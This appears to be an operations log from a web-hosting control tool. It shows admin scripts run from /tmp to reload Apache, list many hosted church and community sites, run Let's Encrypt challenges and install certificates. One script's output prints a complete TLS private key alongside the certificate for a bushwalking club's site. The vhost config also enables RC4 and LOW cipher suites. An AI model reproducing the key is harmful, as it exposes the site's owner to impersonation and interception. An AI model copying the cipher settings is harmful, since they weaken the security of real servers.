ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf= 1'
fi
2025-10-11 20:47:18:
chmod 755 /tmp/pkp593613; /tmp/pkp593613; rm /tmp/pkp593613
2025-10-11 20:47:18:
2025-10-11 20:47:19:
PUT: /tmp/pkp867716
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-11 20:47:19:
chmod 755 /tmp/pkp867716; /tmp/pkp867716; rm /tmp/pkp867716
2025-10-11 20:47:19:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 20:47:19: Establishing a connection
2025-10-11 20:47:19:
PUT: /tmp/pkp588507
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-11 20:47:19:
chmod 755 /tmp/pkp588507; /tmp/pkp588507; rm /tmp/pkp588507
2025-10-11 20:47:19:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-11 20:47:19:
PUT: /tmp/pkp668155
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 20:47:19:
chmod 755 /tmp/pkp668155; /tmp/pkp668155; rm /tmp/pkp668155
2025-10-11 20:47:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 1571
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-11 20:47:19:
PUT: /tmp/pkp590065
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 20:47:19:
chmod 755 /tmp/pkp590065; /tmp/pkp590065; rm /tmp/pkp590065
2025-10-11 20:47:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt 5437
85:26:d0:ea:d1:70:ea:c9:4c:c7:cb:4d:f9:e0:c8:e0
-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBZTibAGyGEICa7vlq+++PN/uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDExMTk0ODQ3WhcNMjYwMTA5MTk0ODQ2WjApMScwJQYDVQQD
Ex5kYWxtZW55bmFyb29tYWJ1c2h3YWxrZXJzLmluZm8wggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQC35NT4lAURFAa5DfMdDvT8VhHm0vyt03Vn5dLkEJae
fO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjCrf9r6Nbgua+3Jy19nkBYR5nsvtFr
8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJAa0iDUB3mS86d0XmIG89/TE2UmtO
khGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrBQVOFStr70lawAEZxZRMSD/lI/I7M
v9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzcQWisewNtX2eDNArI44RamnFB4xoj
svXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyjvDBVbSVBAgMBAAGjggJSMIICTjAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFOCXiSqrAUpXgFpnd5H+bPStqW1/MB8GA1Ud
IwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggr
BgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wTQYDVR0RBEYwRIIeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvgiJ3d3cuZGFsbWVueW5hcm9vbWFi
dXNod2Fsa2Vycy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTExLmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjn
AAABmdUHHu0AAAQDAEcwRQIhAMLrreAyBPUKBKusa39sFmcuIxsSaGMO6q7tzjQs
9yFbAiBvn1pjXgHg2I+X6XnW6QxNhaxXfAPxcrKuXDVdEcTpuQB1AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdUHHt4AAAQDAEYwRAIgLDxQrtdE
8JtQL4cLOfuREwW0gg0yNQLNMxK7IaP+PSACIFxQ/uykAN0iJl5O1Zl2eFZCFQyZ
dZcxB+IooO2F7E9oMA0GCSqGSIb3DQEBCwUAA4IBAQBhQeV2VbEMThx0PlU0mqNW
EDVv6VNNYQTJmvwVf5aUfziXmmkmEA2sKwjGXwY1cuSbf/xPblul9WPTIImpb7Lz
POffRoFqJ9f38qdpmYu31HbB6xPTJSDaMxWKWNEAMt055EkDlxVwupsBZLdKx5Vg
pMtWh+IkYQxwk1m7nwhzvg/VyzgSWkIGNKViM/O3qTjGWhD8rv+5KGogyJVBS0pI
MzydEkqbBYAmDkoDeuSBijklWFqnVlOFPY7hMUnRYu3on1hJ/VbXwKQGQQZn8X8Z
XVZ2WBecqHnNMisAUfgjdlzggkUoHuz9yoSIqwic/YutzsYCWBV0Fn5IaFAn5Vdl
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC35NT4lAURFAa5
DfMdDvT8VhHm0vyt03Vn5dLkEJaefO3UFthWGFiGPhtLPc5vxhFH988G7LkMZKjC
rf9r6Nbgua+3Jy19nkBYR5nsvtFr8ci/QZMND3m8WahG3+m0yFWUZgv/10W5h/LJ
Aa0iDUB3mS86d0XmIG89/TE2UmtOkhGOJ5Xxk6kGwTXWt45KNWDGXgRoc6BGugrB
QVOFStr70lawAEZxZRMSD/lI/I7Mv9pnWhx/x2SROZdisXa5ZuA+SXoj6nzzpQzc
QWisewNtX2eDNArI44RamnFB4xojsvXZAtzY6D5RLNsg0KZ+jfwQBOOk/oonutyj
vDBVbSVBAgMBAAECggEAYUvmztrqT13sLK9PyTknr/cOI7XQUVxHi0BTM63/Mz3g
S84Gio75D5X+tPGvrv36GLzpwb0wL3l2vQJ42SxpvJ8idGJ7NDKt0seXjmZrwZQ8
5cyZNFjSzTAW0+EW8zrn5MuVX7kTwBVJBMcpRpICYQUgsut2hUr18LNs/VPgSMIk
asDT1gQ+u9ZwpmqeUMGkPN7w0jdDVPkdU3OWx7nB1jywiwpQTa3QWV/BR0RvlkYQ
emiYpptZL/zVsi11uFvIdd2D9EkaeHsbLoPQry06mhMucAVCwpn3mEsQX1U72hC7
YNFqQAzRh1K8dub5a8nbdz77Dn6Mu12ohIUXsSqBPQKBgQDfeDZtMGMPM+61Ztnq
gTTs4s4JsLWfBamJJWyPwJgpiNHbLZOCmHM+E8ej4gel6Whv9v8YbXcMsjxO/br3
n+t49owCaBHWleE2hh0++CSnD9MHVBGQonZ0XwAGlms4+oG1vGoKwLSbQwnujR9w
aWhr8UY9wBlcSYtpdzczdVfWwwKBgQDSqcvfGsXLj6T/ZpdIheoJ1ofHgHdcoTzJ
ToLhQq6mjVy0AUU/4RRl9DgOl9r3rZMm9Mu261rG1w17qwomffVzVOWBlX30FqgW
b+ZnauxLDOg8kz+Lhd+XSynHdjgAeCXGM8IqAYdLhfF17hHZqnwaTdB9eDU8rbMI
/hlb8xt7qwKBgQDXY2eaIFwqKBT5VTPOulCHzidm4aJ8rpl0rdSQTcKbrdsPVUNr
SYMyHyB6Tf6vJGRcHoZLRh7L5vMH87kEuWfdhEz4eNRQrs+OnP+NVOEHANKWqqnv
bRedHH/K2appFdJ1ly/iQ1EQoTHucqkN0Rsrhzb7h68p61zq/1P+TiimvwKBgFTv
PpJSIgNDg/uxKjeEPmr/Arlt0zIWlAJ51AzsLKxb/E9a38e0gNvmTh+cHB2V7ula
8zNpyqy2keoVeL8yM57vUKUhV6ns5JI/RX7WvjQ4HP4nRAyFyjMei9aulD+kMV6r
CZKUES9i7opklO/Ua7rTOscLizNOuQtcH29SIfeHAoGACzZkz9A49ITpCwtu8I6h
MH788NGNqFJ1FubjS3ybgnXwGI09PLsVhEUT/kcjZXvU2Vq6bCQn18sorfdtUuKf
mGhM69lFFPw0ixHtcnz7NTQApD9mqIORZyWW5/FcoIe36wVzEEDb+qOQ6h+19Yfa
/th9Vxh5Ro/rhwNrWq2pS64=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-11 20:48:05: Establishing a connection
2025-10-12 06:00:03: Establishing a connection
2025-10-12 06:00:04: Establishing a connection
2025-10-12 06:00:05:
PUT: /tmp/pkp688673
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-12 06:00:06:
chmod 755 /tmp/pkp688673; /tmp/pkp688673; rm /tmp/pkp688673
2025-10-12 06:00:06:
0
2025-10-13 06:00:02: Establishing a connection
2025-10-13 06:00:03: Establishing a connection
2025-10-13 06:00:04:
PUT: /tmp/pkp991028
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-13 06:00:05:
chmod 755 /tmp/pkp991028; /tmp/pkp991028; rm /tmp/pkp991028
2025-10-13 06:00:05:
0
2025-10-14 06:00:01: Establishing a connection
2025-10-14 06:00:03: Establishing a connection
2025-10-14 06:00:04:
PUT: /tmp/pkp750304
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-14 06:00:05:
chmod 755 /tmp/pkp750304; /tmp/pkp750304; rm /tmp/pkp750304
2025-10-14 06:00:05:
0
2025-10-15 06:00:01: Establishing a connection
2025-10-15 06:00:03: Establishing a connection
2025-10-15 06:00:04:
PUT: /tmp/pkp355619
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-15 06:00:05:
chmod 755 /tmp/pkp355619; /tmp/pkp355619; rm /tmp/pkp355619
2025-10-15 06:00:05:
0
2025-10-16 06:00:03: Establishing a connection
2025-10-16 06:00:05: Establishing a connection
2025-10-16 06:00:06:
PUT: /tmp/pkp668992
#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-16 06:00:07:
chmod 755 /tmp/pkp668992; /tmp/pkp668992; rm /tmp/pkp668992
2025-10-16 06:00:08:
1
2025-10-16 06:00:09: Establishing a connection
2025-10-16 06:00:10:
PUT: /tmp/pkp654678
#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y
2025-10-16 06:00:11:
chmod 755 /tmp/pkp654678; /tmp/pkp654678; rm /tmp/pkp654678
2025-10-16 06:00:11:
2025-10-16 06:00:14: Establishing a connection
2025-10-16 06:00:15:
PUT: /tmp/pkp775493
#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm nvuej9ZoTeEje8v3d6ys4DuWU7Meqm1jXOH2Ix1eE4Y
2025-10-16 06:00:17:
chmod 755 /tmp/pkp775493; /tmp/pkp775493; rm /tmp/pkp775493
2025-10-16 06:00:17:
2025-10-16 06:00:17: Establishing a connection
2025-10-16 06:00:18:
PUT: /tmp/pkp547250
#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt
cat > $temp_file <<'endmsg'
1e:fb:87:41:18:01:5f:00:8b:0b:ba:59:18:6e:87:ea
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBjeDrf/o6iVPxoPvgddbmdB2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDE2MDUwMTQ0WhcNMjYwMTE0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJZlzsk9rIloP9BmPlYpLoTysVLqG7kfEv2CR3ZtBVlOc71tdrejC9Q+Uer9ODv2
6qiBGeTirgXea2KziuO1EsNI8oaAf9NGlbiRqdbzrnpF5nCUPiyn5yI1L417cdCB
75W2xt7YSkIBGptP7so9VjM8jNv97+cJPPmP/V4s875MV5x+miLGZscDTmqKQXqp
bnQnYCgY9dk+q3BvssxxNx5niRhbSLFfBGz/q9Mc8IHO3FKboRQ3en2YY9SSCq39
4eheSyzblDz2FelfyP2t6gtgfMZTg5ZmZOB5ChoMf8Pgf0z14REvp+Wmnf5Wedcf
9Cddpoe07mACsKZ/gtd/uDkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFNWD+gNGIBZgx146Ye2jGSUsFhAwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRs
pBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnrmsrXAAAEAwBHMEUCIH2A
